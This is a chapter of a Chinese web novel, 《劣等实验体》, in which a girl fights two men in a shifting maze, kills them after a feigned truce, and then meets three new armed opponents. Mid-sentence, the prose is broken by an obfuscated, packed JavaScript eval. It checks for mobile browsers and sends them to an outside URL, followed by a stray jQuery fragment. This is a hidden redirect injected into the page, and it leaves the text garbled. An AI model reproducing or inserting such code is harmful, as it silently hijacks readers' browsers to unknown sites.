11. 角斗场

作品:《劣等实验体

    短刀男咧嘴露出一抹狰狞的笑。


    他放弃了与钉耙男的缠斗,握紧短刀,脚步猛地往前跨出一步,朝着乔晞扑来,嘴里发出低沉的嘶吼:“先干掉她!”


    钉耙男也立刻收了攻势,转身朝着乔晞扑去,手中的钉耙横扫而出,带着破风的声响,显然是想将乔晞一耙拍死。


    乔晞看着他们一步步靠近。


    她不能后退,因为身后是即将开启的死门,按照计算,大概还有三十多次水滴声的时间,死门就会彻底开启,一旦后退,乔晞就会被困在死门之中。


    乔晞握紧了手中的石斧。


    三十三滴。


    三十二滴。


    ……


    移动迷宫里没有水声,但乔晞的脑海里有,她在用她最熟悉的计算方式破局。


    浓烈的杀气在那两个人喷涌而出,他们一前一后,形成夹击之势,朝着乔晞猛扑过来,短刀与钉耙同时朝着她的要害攻来。


    钉耙男在前,手里的钉耙齿尖直逼乔晞的胸口。乔晞侧身,钉耙狠狠砸在石墙上,溅起一片碎石,她的胳膊还是被耙齿擦到,立刻划出一道血口,疼得她眉头紧锁,却咬着牙没出声。


    短刀男紧随其后,手里的短刀直直刺向她的后腰,招式狠辣,摆明了要速战速决,解决掉这个碍事的小孩,再抢生门活命。


    乔晞往前翻滚一圈,堪堪避开短刀,手里的石斧胡乱挥挡,勉强抵住两人的攻势。


    可她力气太小,石斧很快被钉耙男一耙挑飞,落在几米外的石板地上,没了武器,她瞬间陷入绝境。


    敢伤她,找死?


    凤凰蠢蠢欲动。


    乔晞克制住自己动用异能的本能。


    这是一次很好的练习近身搏斗的机会,和之前在蛮夷部落找伊古牙打架不一样。


    短刀男见状,脸上露出狠戾的笑,步步紧逼:“小丫头片子,还敢跟我们抢路,今天就让你死在这!”


    钉耙男也跟着逼近,钉耙高高举起,就要往乔晞身上砸。乔晞背靠石墙,退无可退,身后死门的震动越来越明显。


    十七滴。


    十六滴。


    ……


    离死门彻底开启只剩片刻,她心里清楚,再这样下去被拖进死门,绝无生路。


    就在钉耙落下的瞬间,乔晞猛地弯腰,从钉耙男的腿边钻过,扑向掉在地上的石斧。


    被她发现破绽了,抬脚横扫钉耙男的下盘。


    钉耙男被掀翻在地。


    短刀男握着短刀想找机会偷袭。


    远处的通道突然传来一阵剧烈的震动,墙体齿轮转动的声音骤然变响,比之前任何一次都要急促。两人脸色一变,都意识到迷宫要大变阵,生门随时可能关闭,死门也会提前开启,若是再耽误,他们俩也会被困死在这里。


    钉耙男脸色瞬间慌了,对着短刀男喊道:“我们合作吧,这小丫头懂奇门,能找生门!刚才她站的位置,刚好是生门边缘,肯定会辨路!”


    短刀男愣了一下,转头看向钉耙男:“她一个小屁孩,懂什么奇门?别被她骗了!”


    “刚才墙体动的时候,她一眼就找准了生门,我们俩找了半天都没摸到头绪,她肯定有本事!”钉耙男急得额头冒汗,转头看向乔晞,语气瞬间软了下来,没了之前的狠戾,满是求饶的意味,“小丫头,我们错了,不该对你动手,你饶我们一命!你懂找路,我们有力气,咱们合作,一起找生门,一起走出这一段迷宫,等出去了,我们绝不找你麻烦!”


    短刀男也反应过来,眼下活命最重要,若是没乔晞辨路,他们俩大概率也要死在这里,他缓缓收起短刀,也跟着附和:“对,合作!我们俩保护你,你帮我们找生门,互不伤害,先活下去再说!你要是不答应,我们现在就杀了你,大不了一起死在这!”


    乔晞没有立刻答应,她盯着两人的眼睛,看着他们从凶狠到慌乱,再到假意求饶,心里清楚,这两人绝不是真心合作,只是把她当成找路的工具,等出了险境,必定会再次下杀手。可眼下她打不过两人,迷宫又要变阵,硬拼只有死路一条,只能先假意答应,再找机会反击。


    她缓缓点头:“可以合作,但你们不准再动手,生门快关了,现在就走。”


    钉耙男和短刀男立刻露出喜色,短刀男捡起石斧递还给她,语气客气:“早这样就好了,大家都是为了活命,没必要拼个你死我活。”


    乔晞接过石斧,握在手里,不动声色地往后退了半步,和两人保持距离,同时侧耳聆听墙体的震动,判断生门的准确位置。她指着左侧气流顺畅的通道:“往这走,生门就在前面,再慢就来不及了。”


    三人立刻朝着生门方向快步走去,钉耙男走在最前开路,短刀男走在乔晞身侧,看似是护着她,实则眼神一直瞟向她的后背,眼底藏着阴狠。乔晞早有察觉,全程保持警惕,感官异能悄悄放开,留意着短刀男的每一个动作,她知道,这人必定会在抵达生门前动手。


    刚走了没几步,通道突然剧烈摇晃,石墙开始快速移动,生门的微光瞬间暗了大半,死门的黑暗已经蔓延到脚边。钉耙男吓得加快脚步,短刀男见状,知道机会来了,若是等进了生门,再想杀乔晞就难了,不如现在偷袭,解决掉她,独自占了生门。


    短刀男假装扶乔晞一把,伸手靠近她的肩膀,趁着乔晞留意墙体震动的瞬间,猛地抽出藏在腰间的短刀,狠狠朝着她的后心刺去,没有丝毫犹豫,眼神里满是杀意:“小丫头,别怪我,要怪就怪你知道得太多,生门只能是我的!”


    钉耙男听到动静,回头一看,非但没阻止,反而停下脚步,打算坐收渔翁之利,若是短刀男杀了乔晞,他再趁机杀了短刀男,生门就归他一人所有,脸上露出贪婪的笑。


    乔晞早有防备,在短刀男抽刀的瞬间,她猛地往前扑出,就地翻滚,短刀狠狠刺空,扎进旁边的石墙里。乔晞转身,眼神冷得像冰,看着偷袭不成、面露慌色的短刀男,没有丝毫犹豫,握着石斧快步冲上前,趁着短刀男拔不出刀、毫无防备的瞬间,将石斧狠狠劈向他的脖颈。


    短刀□□本没料到乔晞早就识破了他的算计,反应过来时已经晚了,石斧落下,他连惨叫都没发出,就倒在地上,没了气息,鲜血顺着石板缝隙流走,很快被尘土覆盖。


    钉耙男见状,吓得魂飞魄散,转身就想跑,他没想到乔晞年纪虽小,下手竟如此狠绝,反应还这么快。可乔晞不会给他逃跑的机会,此刻死门已经彻底开启,黑暗瞬间吞噬了后方的路,钉耙男往前跑,就是生门的方向,若是让他跑了,后患无穷。


    乔晞捡起短刀男掉在地上的短刀,快步追上去,一把抓住钉耙男的衣角,钉耙男挣扎着想要甩开,却被乔晞狠狠拽住,摔倒在地上。乔晞骑在他身上,短刀抵住他的咽喉,钉耙男吓得浑身发抖,再次拼命求饶,声音带着哭腔:“我错了!我再也不敢了!是短刀男逼我的,我没想偷袭你,你放我一条生路,我给你做牛做马!”


    乔晞面无表情,看着他虚伪的嘴脸,想起刚才他和短刀男联手要杀自己,想起短刀男的背刺偷袭,心里没有丝毫心软。在这移动迷宫里,对敌人的仁慈就是对自己的残忍,这人留着,迟早会再次反水。


    她没有丝毫犹豫,手腕用力,短刀狠狠落下,钉耙男的求饶声戛然而止,彻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337635|198945||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    底没了气息。


    解决掉两人,乔晞站起身,大口喘着气,胳膊上的伤口还在疼,浑身沾满了尘土和血污,可她顾不上这些。生门的微光已经淡到几乎看不见,石墙还在快速闭合,她捡起石斧,背好长弓,快步冲进仅剩一丝缝隙的生门通道。


    就在乔晞踏入通道的瞬间,生门的石墙轰然合拢,身后的死门也彻底封死,刚才的厮杀和血腥,都被隔绝在这片绝境里。


    乔晞靠在冰冷的石墙上,蹲下身子,摸了摸胳膊上的伤口,又摸了摸脖子上挂着的羽毛链,眼神坚定。


    做完这些,乔晞把夺来的短刀插进腰间的兽皮绳里,重新握紧石斧,背上背后的长弓,箭壶里的竹箭还剩七支,方才对付两个成年男人,她一支箭都没浪费,堪堪取胜。火折子早在之前的打斗中熄灭,迷宫里只有石墙缝隙漏下来的微弱天光,昏昏沉沉的,勉强能看清脚下的石板路,路面坑坑洼洼,散落着细小的石渣,光脚踩上去有些硌得慌,可她早已习惯,蛮荒的林地、干涸的戈壁、奴隶聚居地的泥地,她都这样一步步走过来,这点疼痛根本不算什么。


    乔晞没有立刻往前赶路,而是贴着墙根站定,闭上眼静静聆听周遭的动静。


    迷宫深处的齿轮还在缓缓转动,发出低沉的嗡鸣,像是一头沉睡的巨兽在平稳呼吸,这不是大规模变阵的前兆,只是迷宫日常运转的声响,乔晞不用再像之前那样趴在地上反复推演阵式,乔妈教她的那些奇门辨位、听声辨路的本事,早已刻进骨子里,哪里气流顺畅,哪里震动发脆,哪里回声空阔,她只要站定三息,就能凭着本能判断得一清二楚。


    路靠人走,人靠脉,这句话不再是模糊的回忆,而是乔晞此刻脚下实实在在的生路,乔晞不用多想,只顺着本能指引的方向走就够了。


    乔晞抬脚一步步往前走,通道比之前经过的更加狭窄,只能容一人侧身通过,两侧的石墙光滑冰冷,摸上去是坚硬的科技造物质感,没有半点温度。


    走了约莫百十来步,前方的通道突然开阔起来,形成一个不规则的环形空地,空地不算大,却有三条岔路分别通向不同方向,地面上散落着破旧的布片、断裂的刀刃、干枯发黑的血迹,还有几节发白的碎骨,分不清是人类还是星兽的,看着格外瘆人。


    空地中央倒着一个半人高的金属箱,箱体裂开一道长长的缝隙,里面空空如也,显然早就被人搜刮干净,连一点残渣都没剩下。


    乔晞刚踏入环形空地,脊背瞬间泛起一股凉意,汗毛都竖了起来,她立刻停下脚步,石斧横在身前,眼神警惕地扫过四周。


    她的感官本就异于常人,此刻更是将感知放到最大,能清晰察觉到,三条岔路口都藏着人,而且都带着毫不掩饰的杀意,将她牢牢堵在空地中央,退无可退。


    左侧岔路口站着的是瘦高男,身材瘦长,脸色发青,像长期营养不良一般,手里握着一根磨得尖锐的钢筋,钢筋顶端沾着干涸的血痂,眼神阴鸷,死死盯着乔晞,像一条伺机而动的毒蛇,浑身透着一股阴冷的气息,一看就擅长偷袭。


    右侧岔路口站着壮硕男,肩宽背厚,浑身肌肉鼓胀,赤着上身,皮肤粗糙发黑,布满了大大小小的伤疤,双手握拳,指节粗大发黑,每站定一秒,脚下的石板都似微微发颤,浑身散发着蛮力,一看就是力量型的对手。


    正对面的岔路口站着灰衣女,穿着一身洗得发白的灰布短衣,头发凌乱地束在脑后,脸上沾着尘土,手里握着一把半尺长的窄刃刀,腰间还别着两个巴掌大的铁环,铁环边缘磨得锋利,泛着冷光,她站在那里一动不动,却比另外两个男人更让人忌惮,沉稳得像是久经杀场的老手。